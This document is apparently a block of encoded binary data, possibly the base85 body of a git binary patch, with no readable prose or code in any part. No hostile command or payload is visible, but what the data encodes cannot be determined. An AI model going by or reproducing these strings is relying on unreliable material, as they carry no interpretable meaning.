z^L@*I!wq|GM`j}crvUOXY!5y%F22`<QkLfnydZ^h27JUtOk}t9K6tblH;G|K6@!Uk z5gv9d#OFT@rxQ^~V*133&Zcwt$3!)^@m^KR5C%?m-r<0{P)rnV=4lK|BFqR_T+QUd z$+@m(&~4*;$iR%G0zJM;fAk$L8}-XE*5R_qwNi26)*d6wg7Y<pI9AEAOI-TK6{D-6 ztv&P)*d1RJiSOqwb;NZTxa>|%Vz|ygm20MJ_Wg?aC8^tQNo(}2v5(<atmMM)+C)Fh z!Fv+KqrwBkNaNPn4FPr4BIteux$nIN`%8bd$Fs-S6j|{rcQfZ=!dT;HemyY0?BRh; zcxvnJ4&|7-3)hgZ^n$&(OW~IFOuhnlHDXbSmaE5Wtn}?Lk;@>wJ{f*4Cg<RkHL~^o zW|T!zw-ZUYVVyVJ8TPYq=)31ysM~Frqqj$f@Ii;h&&_vM3PHhFP@2^3aFYLF{UF#S z^T>4zR^VuqUi=Y@CApNqGQt)Qz2a3=Y@b+3>^+Vr##vA>>3)$ME}^5X;ym8{TFt%3 z^De9_T!DD-iaIq-OUvA3WPM>E@<sQG3mT+axPsS(aIZ=CD)h|T-J8X)f~#{;3Acwp zjZzrm?bbWN8?WG-xyGl!U|RS^tx0Uc3uST32$Z1tT}gO@%$Lh}zKbFpbPD_h;Un>` z+`WOG?t5q9CRZ=JQryXTFW>2r>E?ec%ef$2WA}ys^(>d5yb>S(ud)oh)`%{~(`NGl zeG6_SH{%L&^136TO2X?*CkiM3NI)1f0Pin4f)!AcG+|Am!Sn)-WJL*3#J7U5fJKE& zgI&H1i;^)@U^&iR5Hq46z`NA&z_lvezGJ!z2DjcOtl_MxnBPOjn`s6em$%cH?%)w= zVb#t1IPMaVS&-$iFY+PO*>DZN_<=!z1v98*#qg+5^eVUguBd~g;gh{E@7|I7%1W7Q zSr^y<@xUtFqY%`)-ckTJ1|7lekf;*_FEoX+T4)r833IVr#`_W)27P|nu>AO~+n0?I zcw3jWZ|02YcwpgYsP=R%d9+<vDE5jx@Nm)DJiI;vf!HkaKxAh`dWIp+%M#ZaabB(^ zdY^&_Z!apqjp4ZAi&g@g3d*h}AiM%^O##}SYz#vjIj4DhlILXO$(oZtovd~}r@ume zaCHWE2$J~G?qpVLfAB5QWV!o;cd_%t-iWw&ns?_x=iu^y%QJGR)3vkLs`Jh&1t$u= z!Uu|w)FizcHfQd<!yZcI<iZGVP49}l3+{HM_a1jGon>@E37A8j)X*yxvP9$+Dn&Pp zJ2bqo!*k2a?tSdNkK<kvz6cB-p~<^skGo-_vAZPhztMeV+JVPC6GBXjvnFgIp?JPs z?(Oj{s*5GZOry1pJa5FPcz;c2?*cdP6~Cd0<*vYpiuW<#wHL@1Zs~9AV~UmG)iV67 z(&$NsYlq3LFRq#G?L|6n-D8mcOw(01_a|;bIqoM|vc&!4>23vwOTW{&;z~mL*~{*k z=M?w$=l0>ckkai-T<HI*zW4P(r+#<Oa8Gjo^;D9(4%dEkpC!4UInk{`?*%;Gt-}4& zQoCb#$|bZ40(f6vW7Skd)O4#pc>$lAEA3V>uG?o1t4tw>aqkC{#Vj#=P|3ApOiI@d z-+}f&;T{4tI&GK?)HlMU!_b%HJ|aG>DWEXIy~#bORR1#+6gMHO-Ei^e*Am#HnC#t; zz}sJahs2w^{i*jf#RlN}u+VV^-?`FVazAj!?r`I$$UGkMJ%0Q0ySO%Utp@KD$q#kA z3EwdrKPU0|9lY}D1`;xlH+*q@sm7Q%^*Y`K181~x*~h}UqLlAUF{aXo>o$c!ZUy77 z45~2n#%peiOH#2<a08zxs!U!v$PSC6rYM6wA~3#i^Hp*;f&1nWaQiI)_ZQ@@tSpS& zX)Jo@I&Mx^j9Ta}EUdzk*Vqou<PEqh8@G)|;r0JgRkBYUPbLsjpoSQJG=(fRg%n1v zHXi$kiniQmqZnt;{mWwSN?7m+_zLp*qDpwu;VGU?bH+$>U{AeqHN?$U*Mcof$i(2D zCU{0rW+gN13K`nnJjW`Hda!g5{L67Q5gr%vUtt>OjO5>K)TCPR?*z-ma@w>F<qOYQ zc#5Yj1pf~57Z&T04F{1UX4d%U9u$o%2$b>@;ASbC3JW2brVv{8v?CO&<$oH=9~CLp z+uJfFau#o6N`Xj8HUUccAU~o$tn*a~fiXflTIOpYrK4F6c4leTr(z6;g)LHb5^}h9 z&s6^`gIq3C{S4o*BEQ%3H!b|@!Ey#H1^EH7g8u~hD_DLT!Ee@U0N;Cz@}>#7h!Pn{ zE`E~@0_Bj5NKrCTT^Mo+pRzTDw9v5-fhc=v+gvL2p>6$43JW8>j5!~&eKr^~fo9oy zq~A}-=E{2OO4;x<$o_s&EzQbGbRuK*!>I4brWK{$NX6Lcvp=QJpoMSk=QpG;yeoXI z-!%EW2E(_T=}|6vCVX4rOD@S{Uhw{#{KI$jF80OO5Lg_O0TVJ+6U_GBK>Xv3Po;@b zYCOx|5B3#C)*9D+V3ogW@J|ANL4JQ(HbE2~N#$)-VU)O~B{pNDw`EKG(G*e`S!En- zt($G>cSIIvE`qx9A1%ct+E39#R{f&^yvM+6wqrj92WLXC0D}1H^{2S}{82k(p)i`x z1&}T*T>d$n^Q;u*lMlKcp|0^PjYU+nlNJP7EGUeuG)BW#LvuZD{VgoqiIs%$;%7HR zLmgws23u>K|GuT5@{7O$ZQX>8SI|S@X;0O~wDIB(R+$sy-CCm$#0w+W8k>NIbxcRC zrF<@hA^%N@YGfr`#iv>7n}sII8FpKeAHN#xZ=2aS3wG9Ux=fhn7F+YPUYC$Rf0Jyt z3n&tu4iSHdu&!2H^RuqP%=$->Ss`<4i~eY9evX$N$hDGOhK82eNB!0seXRLu&&5OF z??e9LyZMWZ&F@*|cN_Tkf?w9*E=umE<YQ8j`YWvYssAbR=ewc5!Ly7awG^2Ek;2Fl z;|6Q~17MkH)*ne`4U7MNRlj1?L|e7b3h?(7`uhh6{hcVXo^{{&J@q#j{jBw~JzqNr zmceX!6=0DAuj#iivf8Kte_`PUFLe5w@0y*L;Z)nnc&7S3v=rp;0UJEqsIrI^uWzA} z^;t|M$mecr4Mh;j5E|V4goZe3(9rHdRvK8IIYPeDm}xCf3;IzcnIeiRQW$yK7;eqS z_Twbe!DUT&{`?d|)y({7-^upoCG`6k>w$*cI;;LLp0#lt0tNXIvi1&8+A|B%g^=ca zQ(>&$WmPhicu7cXlM?xq2%yBnOs_E03q4wY+cM?kCnE$>v6K=c!%T{#Qp86jVpT(8 zQRHbHvJnHdI<azL<4utb6#3)A9aU;2U0FHk9ER_G+fWqOF1W8NyLQeMmuBz=IlNHg zTD5Cgl$g4X<AVV$mQI(D!eIm!motUutx^#4!vUN?8MnT2he^*;pos!;76F<50q6gk z{<yzOKZxo&XG2|Ei@M6f!pdJ!o_|cUbcuY1z~FlzAj{K<qB@FJ*WXb%Sf(9<eD^1< z<ToG$@+Uu0<&VKt98UQScgiFG#tp>~<~(@`XW_;ZJJ1^F3&(=WctG`SqwihSr(l&} z+@kts)At;GYL#*}oy=4>Fx9S>RN0@CtvTz#*^``C$l3huo%xGgZ}bCyVWCd}^68s@ z6V9EuDbIL#EJKBJuW))+BD7B*tAg-`2-H{XR}11GT*V<eB=n3ap~A=w#_H`>mUI2| zk`PFRtB?X(3e1%PobQXl&vot=qFiqenaU+Vm9fxT6}xT(Rpl#(MAscdZM&(>L(OMl zq_?qoipA#f1_*T!Leu&SAr}gH=pl6OJo|gS(MP1O7)z|>IB$HrkBOPq8>iqYZeU_> zKu+yM$(b(%DhuqB`=H5-zB0cU<AoZUBSRhb*z+~-5sWfdDSPQ-)EPosCYf|{yxL$o z|LAXR4>LbW+9UH3MA=J=A=}o<p2EU_4yd*xWmqA|p{3Jbtl}7sGGm}vO+SAm_@MJI z7$tkfZ*UdIP~qV^a|T&H8Y{8!ESF=H$v3UL_fu>w#R?#XmClz)Nk5s39{XdrZW~7k zQ+z7meCAJ@;_)6Brh&n1iUK~U%`}^mM4e46mthuDM3EO34rc#sC-e(VF4mgdpc|Tc zm^F2#CU08zb1gH)`NOZsQVioygZ<iG=4Un@FoEYMc#4ZD@d+gG^sdq1%EpNP8D+6q zl*1t*mm4JHKA_xA+MFj+k}U*1A8(O24mo_|cCtJ-#A104SnnE7vnZdt1oFXF@=SNb z+gA2+z77-Vrea4Jo)MJuqMR%3ElkBUV|;TxOFEqE`=2J=VYRc6UO8Dv-}o5Pdno<+ zIZ-}^xfm^tA3+H1hfWu()bmpjf;5jpN;aAUl#if%p-H|HRbbRxC7NG>5C}bM7J7<8 z^%RO0LTYCMs%>I?GbHAbPn;k0SNRN0Ut4z~at$X}Kn}FIs9Y9>Y`<Q}fuXpC99yvs z<vb~O>a10JFESe5;&@bI^bnY9tX|9dUvI1e8Zxc*sO#g8ajm~#{BkJW30HABl|Cwz zqCb9%@<^P>@=RcPJ_M(l%lwgugw$doe*>;m%I7YH{3w(Bjq?y%^(KeL3Otr*T(;6` zsZfFtNDVd1_o4h2rhl_W)+ax$ZJhqNRiX@mkd0aB8b0A%9Kl2@gpj59FrNzfcGmKn zq<kr)WFy#1`BWyl`Yw62-{eS^U$wDhn^ikzzk8e-^4H7pEQ?CCG$Pna3ERJqkgqi6 zLcTDv*q9@*$e3xZkL&P$LSKKWuPgPHQ{V5^=IRyabK%x<dmwl1L)x+KHQE2+DQ=?N zCy-0#IkMQ|DMEOQPRo`2r$W+Au6cJ;vhy-Xt}v%4W`3V2^uspKqTaX;$c%+=&l^@{ zaRr*PDI7)N5VJ7*1J)DCAE5FmX`tkGf1IzY>jF+9!zsCvk}lSgvJ%alZ1L{otR-jt z8B>u^zed$x8H%l)pVpbq`8|{1J8;F6_JI%Jn;3OR+Mj*^jS-JP<I_^3A?lQM|74SX znLHZuEKpOmG%$m<1wZqXLjD}`kGPxP)E-wYXMd^+V1L+ZDargwgg`|PsE|#wGnMV6 zvY)?^{ecD=Lm^aHsEvjE2y6Lih=lx)@2m2)a20zlhx{%nk8z;+bxVrl*MfbonSB@8 z1IYfEU`PKEiF^$aYz;8!6IRmsrt}t@6{J!@J?$MO6fE#5z@-F3Zv?k!d|c)QkT;cy z-6Io2u@**dGe%pbFn&E4J5as4r{qGZ4U{_fHRrdTMjv4uUl?Kh8BRlC6{@f>a;4GT zN>M&<g@vxqb_-o{t~>}&aV>Q{16{0Dw5PmMFXNG7)25Q<9yHlwTdWF<jr~c=<vt3z znI<{4MTqq*jnL2tgDro}ZJ3#!Kv4rlJ5yAg&yv6T%R4!{kW)*}%co7Po#j($^s_dH z=Z)9i17`#|D=eJSBA(A_toh5qe~kP)$-m)Fe$#%RA<B>grn{=Fkdl6nL2|B?WdAFA z?T+G^Pp<Xk^1D;NC|`S{o+2C)>J^mlFrKZ@cZI$ORUf~FYrGe}<PtH6VaxIRccoF5 zkdvkmb0M<}{)oWhVj8gbD|69_0ujmZBEIqRt5#N1=zR)#J`SNLEJ9|rtoCQfA?EWK zmBSo=3Go@`_y9FttbdS_X&kP^hq}PTa<zoCHiejVaWA180t@nehB$JK)Sil?Xxc?| zLA9+BEm|se-KqCuQwYy#R%TgdUD2n?5Lu9aK+ZMfEY{^h|5JD9Xa7ZGSZGpZHj&G? zTuQl7YO-0XFmjJ^!)B|J-3`W>OiSzpL{h|$BKJ#?!om{VF=y06q_A)u?zk{^I>M#D zfzHR_R8!0+A9T5zb=gptb_H~uI%zHxEZT9qgt5EOcbZC0lv7_HTv;~uv(~485BfgA zj-<5heYlEeQ{NNT`d03M<kyQiUdL>N^Px~W`|#xQTcP?i7bx2{F$1SRgL4)_%~nr? z2vV7DPGtg9$z>{?nMz@y+h|Nodg{kgAx)?emu%vMQ(SbJDN=751;*MCbO*-c>jAh& zV@HcRN62AQ2$gA}K{aGN+tincEXXez=fpNe&SD+g)bkjm)HX#qgWjA*F|L2KOamcv z&1tMN_Q|wrSDZ^0iZqI_Vt|L7#l@`dex@|2-wSy#+r@@7Ovo(9!XKVql&Pm(e|^dG zfn2UXe+agS<m=?3(}q%_RbAT-kp?DH0TDGT0!4ZoSvR6kTfv!JkDC-kt9}7;ErvK6 zvmJp2`OPS7cs5gW)JkYhmzt&Us%e-^@G0Fp<nyEC95bIPgk^ImACL$6zEYm!ea<UZ z^-|CLlRrNfgCFxxk&-8v|1UVd<r=+Uw4wO8)%>8Y+i$%?LEH&Q!QbF1-omsFL(o(T z+@HF%FB+=<%l_CqkZe&7+;rGVbt7p<wnZK0p999?m#yqC2I~@<F+LNnGzzV!&}b>d z>vOBE`FDaVOz?AUHH!Qm<ZrF=pEgEY^H+hZgW%7Bs}=c^$$$QHkw=a<KGysjz;zMV z5X|TIXW=PMWwGplNMRxFU&8(ZL~wpd=T95p#6`~Uh=q8-;I{FM2-;x$QUpaaXgvfB zgRu!vX6Vabwf*LYVDAY@>O_(;xab7Wd?s1WB>kk7mL|#a3#Tpv_6*7l-|<(~HJ)YJ zo3afYA8u44hlPb=UDJ*tA6YZ2>zTjaX4$hWe}k*Ifn{@;lJa2tFAA`9p7GV-JVu#( z)BgH?iY;doFMybsAGMejjHh0*s%6f8&yrDD1;)6R`imD?>1WfKFZ9orbIU^%E2941 z5KGp0aO}cV?uGEX8lA6@G+kNHQt~t<fBQ_$kf|Ss!Z>Da6j5H8K0L<C3U=fRZ!wph z<(28v@Dz`v@o$=Sv4psuGQ4QXsamYtgm40G7lWpkD4a~;<QBq^H`g6k5E<kX>w^H5 zFPYEdiH$WMM2dOe9MawtV%EV@?oAz=nAVLG$TaE$AD1u=c?6lG)7v<L*3voH*iUta z7`>%)MXBEe)ZNDyP3LM=8{jLxD1=v(#_)RgPcNCyk2cU(yUY|<MBn)rgzgok#q?FF zz6$yd)2E)d(b5%f!qUtqVd)fFDi4Fl5$hIBzFFkELcU%WJ`+32zsi_wt+^5sJt+}E ziRR;G%~C>+XAR^3^LU2UO3k)AniiYGDFhZ*uwdV?Qp)`m!+NWn@jUZwvR)x;juopg zfcu-p*8CiwmXKddd&BSMuQK|r<2a7_c$8HOWj@D1t{{K8>?Z@M#OEm}v4awGNnZkA z2SyoIBg%lWM=d&m`(nNhSB&3`ziA5Imq5Q`u<Cz(HT<|s2w%sHHr&G7OIk=*R=#c+ zHcrOhZdZx>^o}_&fX6Y1CbR2`$yHXF?2*IA!8~wdUzuS0|JhH&Mkl4~1}CKr$R2d* zB`2jCR1SIz^fYK0C>b;bGy=q<X`PeO403rE@}QxhaL_bR94Hg?7-%hM3uq7MFsKUj z9q0;3^PH2?8RP>R3<?KDgBE~tK&wHog7$z;fW8CW0=0hLNx2_17!(1D0i}Z;1FZ#Z z0=)|=2Ymyohn=^8UhAEdzM!$7hd}9|)u0WaJ)lZZ1Ly`w^MaGo9@GmI0Ez-7fOMc2 zLB*gd&`%)y7m*K;4`>7^3X}vojk2u(?E!5Ctp=rorh&piLqR=2r(s_?Xb)&BXdP%J zNC!#+O#=mh`hq+_KOrw|AZH7@{ECxOgnBCneFwS<YV$Je28{+qffj&rL9c*zgGxZB zK<7b@kZ%Lhg8G8|Kx09(K{=qOL0drEK_7z-gQ`H^ffU%n<1wU}1d0ZQfOu%pPTGL% zK|i7_szFCVdq7)3>p@R~u7G&Vcr{eu{+B|Pm^J}QCMXxQ4zwFo1*!)%ft0oZiWa0E zts(OP=+yd9#a}a4@ozm=`RvuP%Bt;SRTeW2=rLBQe{-zT*7@!@GEGlkn4YmDU7MH_ zpO~pj$w)_7Tx^0iHZ?UPK2`>370VxGT=3Uj8K4YQvPDdHpbWn|lyP|cPRNi)YEqP5 zaPy5L@{i%&l|f1Ze!G(mzr)~D<5ezIUTU%arA$k1i%;sZaFaJ%Nm6oviTF(fW+|~C zMd>R-ba2sTc~~@QMF8_eqR(Gg+#kOQiXQ$*=*dx1lr;F#z!9sY;x9v40=)^spC!^- z3U@a6mLXiL_&{E-JP22c&`Yc05knc0qAUbvDe3r4ML7+Goe4rSqLko_w9MG7#HqTh zl=S(NvJz6#V^bL}^OOXgsgTQtOe%h5-n@n8B-p1%s0{0+jG>sKeJntU*@X7E1#NLV z+UAY`B^WuIhPc?QE}htd1=`>_IAsz=lzI4*>CF><rjvk_*`E3;vqe}OQd<bu6#VgE z*|E&TVPk7&@8Ia9advTaYt`DlwTr#R*}avcjhkZY>f~VOs&P{sY~5SAw6=3}vT?R| za<;Q+<>uPj*3rSmUUAnrD-KS!_Ac(NZCu?PHFm9R-5gyMSB;&0D<=m8I=ea8xVLU) z@1i(4+Bw^5TwA$1wRW?yb9PYN?KO_JE{^W4on7q|jhk&NCmVYg2Nzq7y_2JjgS)G9 zYdd^<Q#~G^(t7gRWQUDAYVscF_<8-q^M7<+u<G6UpJe@>K61n#lirkNkcIM|k9@P0 z%VSvo_<@554@ig`G<0af@PUc3!{QPL3>rKzZctp((1FAI4;&g7JA7bV+|Xe|lKKx# z9O^eXE+Jvi;2{GB^dCNK@SwreG9xi78$EP{*5r<i%@OX9SY4v(*6Wh|Mj)Q;#!|a| zQSY+72P$Kg>8MK{Qv#=;l_kMaU*Tsv$$*bXHez_l{PYzynIgiMz^y}UvS?FyL>{~? z!{(u0vlYfDN(9<R7*N%trZ82RsDvOq)YKY6VN(SB0icPnknTyam7~@S!9_nc$zvFL zjz8KHdkHZM?}qkQ;t)Cz7>|%R;C#WgK*<#K;SZing!v<%$>1O^gUcU1H50wc-(;mf z@)s*4btVlt!p9VsA@`XufqkW~z`n>W`xRbR1Z#Pw&9Q)?{b39Hu2zJ}F_NVph@3}( zGZZ}vt99_o(t#81OpzP*NVTq5PTdh61@wizjPpfJv6B<={DDB$kFT-_A;iU^@A)F< z?1QR}w{LM=^S$GbV`Fz=Es-M|^T2VQhnkZSf8&yp>KISi5hA~R#4lxKJ9=2S=HOSB zl?U_=_*_vw!Nup581h@q#c2|n;WZRU>y?TU=76`598{EzKPyUSWX!W0KKQu;cOg_O z3P0~*BP_H0V4Gg4^i!06kn@1P?V)(+3J<I&qwt;xSCsj!@H`fVsxPL~CPmqc26os@ zQEF!?%Bwz#@_nMB+?-+2_dj*fp0@|!5f<nz_fnKL=)tSe1WKnNPgC(`tnrHC6saiR z;6lVbOYy9cKk^OxGP*#fH*Rh3s3>Q(|5Gb0^8E)4#Aq^fnBVZ&xcG#`B*t{_KTr(6 zoXuqovJFoYqXX+z{;?efi~cwjZHW|*Q9DbF0!z^*=~@ip95Ww89f|1GiO{J-TjW^y zcU+P$2(3LHvw~i<@4wd-EOf*|8`EEk-Wn%be+nccka9ZY|1O2u=%ZsybI){)D#0c< zEm{manLo~W*7Lh1*NkVmu)T03XS-GBX|)w|T+@lsgZ+hvwnvb%r8gRN-ykKXUy#z& zKM12jpqM))a`vXqc=VLnVus)>D94LIVm@R(IU@1k7}Hn$qK}|E%DQ47leSHP?kVsM z01uiN+|qCD9)fUkO9`2u0T`W_BkExz2o<BP)X$Y2<76tbzurA&$T38F$4J6Zmf_ta zj3wmmSSe-AaW{{(R%z!z<XX+caI;HYMUuZe>==lZq{=0lJ90~TOKR4xyVL#q{QNhI zrGAd5s(sRu0m@L5C2FZFu+YNQUHQ9Qki)M<4qD0#K&-6CR8f-(W|v9mC!8;*D*YhM zW2WdQ3FtRVz>Rf3dQFO00n0UOJW5MSDM}F9pX!!!!Dt_{%w=n!-SOa4l#wXM(I&+3 zElQPs_6Kz>Z#i4AwA)@IeaHBMF&Hg2SgdHZ7<V|*V2n473BFdb2yWq1b<!TG)ek+u zPt3nT7!?9BvxXw?7OmELtvQ%q3qRAruq@`~LD1MA?ja^*+@0yF{Y{PtJ{VV+bFSol z(TC}lt^}-yWSOw^@7BXGsY6TWUFoPRWwqY4q9%DhkR|w~ELVOQgYd_rn@CZH(e8MV zb-!0z8+onU-e6N}W4IPEviE4|g-<PKnTlK+<RF}@og9>uy7I{}+rd%T`cJh_T12bv zCYjdV;dk<qPp+Og4<w;fc$Onqv8_;wJemrEln)N$ocX_yc5RTN-4&!n9RqC*Qg(j? z|8}(SSA!G}gqI*ZpbBHVCRhpR9<1d4g1EN9iicgWvgKlsvJT<95zaFm*=J<SVER*G zPZH*dC1Pcl2p(&W*`mGcu!>{L2*kLbi5|?^E*Ad&q6I1_zh3BTqm||2eLe8^8aaA- zSE7t#IxHK`DLj^%{?gD26Y!UeKf1F;D&XxuSPX{U@!P%sAnEQuMBps+fDk2I83)T} z!lF>jojhjaujPD-`DP0GRaS;BF<ysNi)Ail9jo<hS^KABg`i+A%)p-(^~7~M*9=<B z=&Uua1hlX;5ivZ2$wF;1Uu=PFVZ9K_)v}zwTZZ$jLvmPL7TzgX+gW^Ezss{TqN=Yi ztYEr4reGja*9Gh|Jj3sPhb^47RoN*#A)b=RWd%kwJbx=j*F<42!^jth@tNx+9preZ z`dLou+}tZIF*`eUeqwg7UZ`2xnFdMLTC6CkY=rQS2iuD`C;-H~`<cdbS>CDW4?G98 z>=XP`I}Afgazx>-1<&1Lg$}(b?Xjq#ROnO39Iz<2@Az}S<KTLY>p-q(v^bNa2JVco z&c~U0Y!>`%?<t5)H??1``Ie$5=<e9<2+mrXsWUaW$i%daEUcYH*!1*F*$mZC&KIf< zt`0MV74i6u6xMKM%3T<qCCk+-Yu+Nmkv8*R%W>}Gv7ujn(6b@K7Jd0w$wzOV`^fn4 z;Tgk!yXUuA+nyNn+}CqE@7S>2soLh@yfz0{4e%~|)NQ(M&cUo(@1M_o+p%_|?zfGl zr70U5o(wzq>(R}n?v<~*d1v%7`fgvT8(;g*?%8KoUtc_B^5_j|M+X#D^t9W3?D1KL zes`@u8usklUr&xd;W+=n2R&E0?Ct5-<=(zG()vWUZRIz0TDD8#CoT&X_dR}i#i~A8 z&%JIqv~@yKr=rY)35Va9oO-OI;klFEjxT?+YDnuVnOhckv@hM(QIk6C{)i>vJwH0I zd+>*DorjO#UOjQriA@jxp3yh?mnWXlWyHUk<C#;jQe%4zUu`_Nt}!)g+qE~YAH1Bi z=qTs#DAcUnqY6PA!ig4+$iS#^Qxnq@B4bn7w1j_3Vs=LA;>3xuX^Fx=HY+hPNS~CH zh$(Gq<g_TxT>gFJdBRkT3VPI?T*0LO?Rx*tJu;><HBlFmni`Ulg#ikU1rPqou*9TT zeX4a-N}`yUt<N>4Ax-vMjtO_R6Bmq(Y&SZr?%9$eVI6xmcL#VTGzq<Z0g&yDt26c) zw!tj8xenm@G5ecN^fLC4&^tJ2Dc1olt;mE9_95;Ras|f}*;~1jXz4>Ot(9Y_9xD<# zOIy2W4QFmWW{$gEeMFc%E8!SpEossAcRFahI_LWem;BWV_XzPz9(4?~-u=~L)k>YL z5Er;CZgs?$^8tT(aBV}EWu;=7dl(~qmaw{!V;(p(>-X^26AnByFllm3$JWkH4i5JA z_I7r5wm5Lwu8fSu_mB%imE2|Hlq%4;^b}o6Y--A~#Ndqd1h_NOXT)Zu#KxuKoHR8t zG4rnA;Hk82X6(Ymz|_>cVi~s*X=HW^P?XF7rP9jn6&I$w_Zn8*2p4<tSy{15wdsjV zw5f^d^L5<rQ4F|#kbDQ9^&WnFc3Qm+8BK>BQ0wqKb`|8|<r=2+0VRWKox(&LUyR>O zv?O_kialQ8<2p7QZD$E$(t+`!6(_>QIWA7LY{sWzZRu;Gf0oV0*qaVr$!5ucaB;OQ zkI==5>AES2^HZ{Q91g@G!qB0|r6*-%rI{{HAV!2wPtUUE7GX29Qgn&avSQP-#hAkK zU^$FU%|?}E#8atN7>6Hge^{b!Mr^9SMHo_-VYVh+R_y|brNqakPQ^%r))AVc<h~oG zV7yD$j!R#hu`n@#{ZRO)B<l28=^{Ye8ub7g3<>~6fTBSOARQ<dv>LPyv<XxM+J9rL zvIlqoR1T^DRf4KOr$N=AT2MXc5~vAu1=I|>0aDz<6nl^c<OcEpd4jw^ok3cVH^>Ln z2h<-l7~}^U2?_v(fWko$peWEZP&8;ZC<c@ON(SjbxuDgc^`M=gVo)XM63ER1X@DX? zsi1YBouDdE6UgfxqzwuIg@d9%F`$*8wV(~4B2YP~0p!*O{Gi#O)u3&l3eY8xS6k=- z#ei6bnZT8xEucN1)1Z0t;$pKC6R;zQYZ~*gQx=~J%#6)O&C0NBT>{+n%$ui6PGJN* z^X4VRX6sb<Vlms8*r+Ep%Pf-^8;AW&=+tEm9SqD$%*KVAcpby^xN?&+A1y;sLum-R zKGW7FB&H_n62;E?Xq-Eb9EtCDBb@K4?E-pu4)zZ-6SHD5(~+O&*IX&~#>(6m3ly$V zxJd6I;(B3}<(SEHco5`y-aZ<LDOd4%5Z5_@b3w~NJs`9kj$VlG4e|x`19b<DhR{eT z=mGa~&|FZ=;v^jh$DWXlSsZ8OW<m5+VsuM06El(+t;FzBW2!b=hb|qjov)A0N|50! znDqJ5y_ofa5<r-qQ#nFoWHHNP0b|Qp#ABb6v%EGwBV85K#;0av>$9X?th?B(|159P zZ!L}iMU*d%vZQa;ZXIoom!|){mYBsUSvoy(pOBKBnHn3Pn1*prn--hN{3Rx9|G@-n z9!uG1EoNBh_-|$?G4UChOaDVb#pn}s+AJ|<iRy?64Oe2OOq({&Qg`OsHr1uc|Mv>n zp4nDq!6(wG#AKwUr)b$WvQt>&F_yxRt=_8Q?uvVOj#VsV(_+(c3YG9rg?A_4-xeTk zv#y6bO36~vE%?;3{*T--2}{#s)6m>g%nOSwEv7Xs^RC9>x?WC-&Z=3f9N;lGjQ^N~ zndcvkVIJ=)v;U&EMSs;LXC=lasNGf_f3#h@YN1xqPD4M}h9qXkXQgDyZmVd6*p-7* zW3#iZVzjY3txt=%K(2dG9wyfC6m-3;_~fNlLWpHNE`W1n)J}?9fRR@l!CM!^5TQ6K z_{Svgq1ZVpj<z25p`oD;JcjhgIRp+LtzT5MlSUcVzyHiACn(cu@T+KIl4EcvN={}D z4viB+ahHrngD7zGU-3!Tr>0_@^ubDotN&E&`|;p<NnIr+TAhIhXJmz<K5_OMkCS}C zsyN{FldjUK+y}S4$^D|0yAW=qD~_kF+|O9K*IBurwQ@ga<$m7Ey~oy~6CYtP>vuyc zTq8Nl<dkLI#tPTFCcH3qtnzf&SY;sApQOJ6$0}2U#wxQ@$0}(c9*y9=G-#~iHF&Jj zHDIig1G2$=DC8fRAbH3~KaVTmr~577T9cdWvi2aZv(&W~k>!KSX)HIT6$te!Y-OF% zc9s*7_7hz|jAI$Aanws$qC1FsJwOcOb-OkuVmRklh7SSJA87IioBV7;l$l}*=c1qd zJkg~7Ss<pJ3SxK~NDImYbp~;wrmf5e`Ex<Ed4&m|05U!g#Q2pU>Omcg*7mB&|2mNN zZ38jAw?X9F3!;5rfEa%U#CR_h3d?8Q#IZ_BdXh3RaH5hPn@;qZik}A&2ft4?e&}ZS zxQQWjitv>51mRBX-Jj1ZDpU38N+j+cnuhiAOsrp~CF_;3St-iYSRLaMVzEzyc!A)_ zrUQKG(uF<2WPO$hgf7SlKFI2`giBGz!?v-BaaccRDS??d--i5nq&Z%nss!ri<2*l8 znS@2u#EivCNMbzsv5r_unJnReUdYBL10gRqAt0X!FLl5=gzM+)v#}0?E?r_;oH*}* z&J4PsR}G?mvpX;n`=6l5$bJb4{gw(n2{`&_BXMZySc*dl4<C`1HbVCLsTeKNkzORu zq=?htry(=(n;`t$>p(f6b)*2NiZgp6<r3f%$(ZCVeyJzh%pvu0N6!+*-2`5}wS=hY zSoFyB$Ylu|k5p;vSZIp_@;)cFUG7&C>8DlWg^d!~<^$oM59Bprw)sgI8BxU8QO*$8 zU_%fd55LsUoks4;sp(`vS`AUt<T<07F8A%!G(}a4^ixgcBh%I+uS`+3LGDG$^H$ZK z4AXh6Y8Q7aRSsTHqm3=Y0+C}LQ6`K8_Ct9k;Fo*vJm}*e_j(x5Kdm`L-J!?p^6@tU zDW>69-Jj=9tS_$8iA@CPitd1O8c+-<0hA0%1!aPCpyi;IptYb4plzU?pkmMgPzk6U zQ~|04Re?@}szJ4&dQbz%0BQo=0NHy<em9^es58hL)F0#r3IRodrh%eC37{O1jmSO5 zD!A8z)`K>Iwt;qn_J9t6DnYfNOCY5q(g1mb{6GPqa8MK|8WaOc24#YBK)ImRpmm@P zpd!!#Pz8wmr$P0gOQ0Jdk4`wR1q}v;gQ7supj6O$P!UKTTGUa?KOfBS@~>t1-}}Nb zm;ATCl^DbC{A<a-!p8Dv^Dhr;4Nuru{%mdj-JdFNohPiu{x|+Kf0O$*Hq_tW9OJ2Y z!YxBR;8tDa`j;6tvE9l4?{aJ5@=z>p>9VmgHH81C;qIDO`@p|z75@i%0oFk3AHP2M zZ~oL)Onk!XkKZx;H-D<U_W$X+XXbNPJdw9@)ss)HUXx$2w(#j^);;^&^Xp%D@udwf zzp`=D=2u_a^7_^{w!Qh*+ePne-?4MoyYKCO|AP<reDv|&;(hx+Iq>PhLnWn$%gT=& zJyvo2#AlVCfAMA2$x~mQ{`#9U)ir0&)z+Q=w*JC*-#7g5<3)q<r^ZV^|MF|oZ<l|+ z^2gO{&Da0@>&DGnw-uX~_XB&})26LwyY?NtI(E9Z^L_U}pzYGNn|JpfJ$)YR)w_>x z-+q?++eY}095s4OfV|CZesao!g{f)j8JUZ+vUU2!OLCSjdw4e9<s0*#;~!c6=wpxn z-_HO4?ezc0<sTRn91=P<EPUMf2@#PKC*k{3Q>RUzF*ADBL$dt;bNv4&%0I^&YbFq{ zktp4<CIRJw>Op;a$m=G_z#>osNZS)@6Ho<6>w|a@ud(pjN-^Aje=UWfnOOH_U{#oi zwX82zzg*+<svfVA-+5K#pRcQM#m*J(f70;xcBs1*@|q5>UovH0k&)MQ{yANF_r~2< zBGnv7UH=n3T%%{Bq-Y&;XswxNpz`>q{K+f&T+MT(&AV>YE4(eQVGV@3f6_&Ho}uwR z3)LEy7p?hcS>6{xS>CgxN~@*x&+_tW9Pd6=W!04bSvE)HT(%QRtM&Y!?PfZbHp2GF 